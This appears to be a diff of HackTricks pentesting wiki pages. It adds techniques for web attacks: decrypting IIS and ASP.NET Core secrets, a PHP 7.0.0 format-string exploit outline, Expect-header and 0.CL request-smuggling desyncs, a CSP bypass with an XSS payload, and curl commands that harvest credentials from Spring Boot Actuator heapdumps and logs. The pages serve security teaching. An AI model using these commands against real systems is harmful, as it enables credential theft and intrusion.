In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
|
||||
|
||||
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
|
||||
|
||||
Two common patterns to protect secrets on IIS-hosted .NET apps are:
|
||||
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like <connectionStrings>.
|
||||
- ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
|
||||
|
||||
If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
|
||||
|
||||
- ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
|
||||
|
||||
```cmd
|
||||
# Decrypt a section by app path (site configured in IIS)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
|
||||
|
||||
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
|
||||
```
|
||||
|
||||
- ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like:
|
||||
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
|
||||
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
|
||||
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
|
||||
|
||||
With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.
|
||||
|
||||
## Old IIS vulnerabilities worth looking for
|
||||
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
@ -115,6 +115,23 @@ For example `http://127.0.0.1:8000/profiles`:
|
||||
|
||||
This is usually needed for exploiting other Laravel RCE CVEs.
|
||||
|
||||
### Fingerprinting & exposed dev endpoints
|
||||
|
||||
Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:
|
||||
|
||||
- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
|
||||
- `/_debugbar` → Laravel Debugbar assets; often indicates debug mode.
|
||||
- `/telescope` → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
|
||||
- `/horizon` → Queue dashboard; version disclosure and sometimes CSRF-protected actions.
|
||||
- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint.
|
||||
|
||||
```bash
|
||||
# Nuclei quick probe
|
||||
nuclei -nt -u https://target -tags laravel -rl 30
|
||||
# Manual spot checks
|
||||
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
|
||||
```
|
||||
|
||||
### .env
|
||||
|
||||
Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called `.env` that can be accessed using some path traversal under: `/../.env`
|
||||
@ -205,6 +222,8 @@ Another deserialization: [https://github.com/ambionics/laravel-exploits](https:/
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
|
||||
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V
|
||||
|
||||
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
|
||||
|
||||
Minimal repro vulnerable pattern:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
|
||||
Exploitation outline (from the reference):
|
||||
- Leak addresses via `%p` in the class name to find a writable target:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
|
||||
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
|
||||
|
||||
Notes:
|
||||
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
|
||||
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
|
||||
|
||||
## References
|
||||
|
||||
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -54,6 +54,24 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## The Expect header
|
||||
|
||||
It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header.
|
||||
|
||||
Interesting results of `Expect: 100-continue`:
|
||||
- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out.
|
||||
- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values.
|
||||
- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request.
|
||||
- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync.
|
||||
- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one...
|
||||
|
||||
For more info about HTTP Request Smuggling check:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cache Headers
|
||||
|
||||
**Server Cache Headers**:
|
||||
|
@ -68,4 +68,80 @@ Connection: close
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
|
||||
|
||||
- Download and quick triage:
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Deeper analysis with VisualVM and OQL:
|
||||
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automated extraction with JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Typical high-value findings:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
|
||||
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
|
||||
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
|
||||
|
||||
Tips:
|
||||
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
|
||||
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
|
||||
If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
|
||||
|
||||
- Enumerate and crank up sensitive loggers:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Find where logs are written and harvest:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
|
||||
|
||||
Notes:
|
||||
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
|
||||
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -693,6 +693,27 @@ Then, the technique consists basically in **filling the response buffer with war
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kill CSP via max_input_vars (headers already sent)
|
||||
|
||||
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
|
||||
|
||||
```php
|
||||
<?php
|
||||
header("Content-Security-Policy: default-src 'none';");
|
||||
echo $_GET['xss'];
|
||||
```
|
||||
|
||||
Example:
|
||||
```bash
|
||||
# CSP in place → payload blocked by browser
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||||
|
||||
# Exceed max_input_vars to force warnings before header() → CSP stripped
|
||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||||
# Warning: Cannot modify header information - headers already sent
|
||||
```
|
||||
|
||||
### Rewrite Error Page
|
||||
|
||||
From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.
|
||||
@ -837,6 +858,7 @@ navigator.credentials.store(
|
||||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -753,6 +753,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -260,6 +260,7 @@ function find_vals($init_val) {
|
||||
## More References
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -211,6 +211,10 @@ Note that **another option** you may be thinking of to bypass this check is to m
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
@ -384,5 +388,6 @@ How to avoid file type detections by uploading a valid JSON file even if not all
|
||||
- [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
|
||||
- [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -36,6 +36,23 @@ Remember that in HTTP **a new line character is composed by 2 bytes:**
|
||||
- **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
|
||||
- **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
|
||||
|
||||
### Visible - Hidden
|
||||
|
||||
The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).
|
||||
|
||||
**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.
|
||||
|
||||
For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend.
|
||||
|
||||
This would be a **Hidden-Visible discrepancy**.
|
||||
|
||||
If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation.
|
||||
|
||||
For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.
|
||||
|
||||
Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.
|
||||
|
||||
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
@ -184,6 +201,34 @@ EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
|
||||
#### `0.CL` Scenario
|
||||
|
||||
In a `0.CL` sitation a request is send with a Content-Length like:
|
||||
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
|
||||
And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response.
|
||||
|
||||
However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like:
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
|
||||
This is useful to cause a desync, but it won't have any impact until now.
|
||||
|
||||
However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### Breaking the web server
|
||||
|
||||
This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
|
||||
@ -269,6 +314,14 @@ Identifying HTTP request smuggling vulnerabilities can often be achieved using t
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
|
||||
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
Check how this header can help exploiting a http desync in:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
|
||||
@ -878,6 +931,7 @@ def handleResponse(req, interesting):
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,132 +0,0 @@
|
||||
# Web Vulnerabilities Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In every Web Pentest, there are **several hidden and obvious places that might be vulnerable**. This post is meant to be a checklist to confirm that you have searched for vulnerabilities in all the possible places.
|
||||
|
||||
## Proxies
|
||||
|
||||
> [!TIP]
|
||||
> Nowadays **web** **applications** usually **uses** some kind of **intermediary** **proxies**, those may be (ab)used to exploit vulnerabilities. These vulnerabilities need a vulnerable proxy to be in place, but they usually also need some extra vulnerability in the backend.
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **User input**
|
||||
|
||||
> [!TIP]
|
||||
> Most of the web applications will **allow users to input some data that will be processed later.**\
|
||||
> Depending on the structure of the data the server is expecting some vulnerabilities may or may not apply.
|
||||
|
||||
### **Reflected Values**
|
||||
|
||||
If the introduced data may somehow be reflected in the response, the page might be vulnerable to several issues.
|
||||
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
Some of the mentioned vulnerabilities require special conditions, others just require the content to be reflected. You can find some interesting polygloths to test quickly the vulnerabilities in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
### **Search functionalities**
|
||||
|
||||
If the functionality may be used to search some kind of data inside the backend, maybe you can (ab)use it to search arbitrary data.
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
|
||||
When a websocket posts a message or a form allowing users to perform actions vulnerabilities may arise.
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
Depending on the HTTP headers given by the web server some vulnerabilities might be present.
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
|
||||
There are several specific functionalities where some workarounds might be useful to bypass them
|
||||
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
|
||||
|
||||
### **Structured objects / Specific functionalities**
|
||||
|
||||
Some functionalities will require the **data to be structured in a very specific format** (like a language serialized object or XML). Therefore, it's easier to identify if the application might be vulnerable as it needs to be processing that kind of data.\
|
||||
Some **specific functionalities** may be also vulnerable if a **specific format of the input is used** (like Email Header Injections).
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
Functionalities that allow uploading files might be vulnerable to several issues.\
|
||||
Functionalities that generate files including user input might execute unexpected code.\
|
||||
Users that open files uploaded by users or automatically generated including user input might be compromised.
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
These vulnerabilities might help to exploit other vulnerabilities.
|
||||
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow.md
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
@ -1,186 +0,0 @@
|
||||
# Cryptographic/Compression Algorithms
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifying Algorithms
|
||||
|
||||
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
|
||||
|
||||
### API functions
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
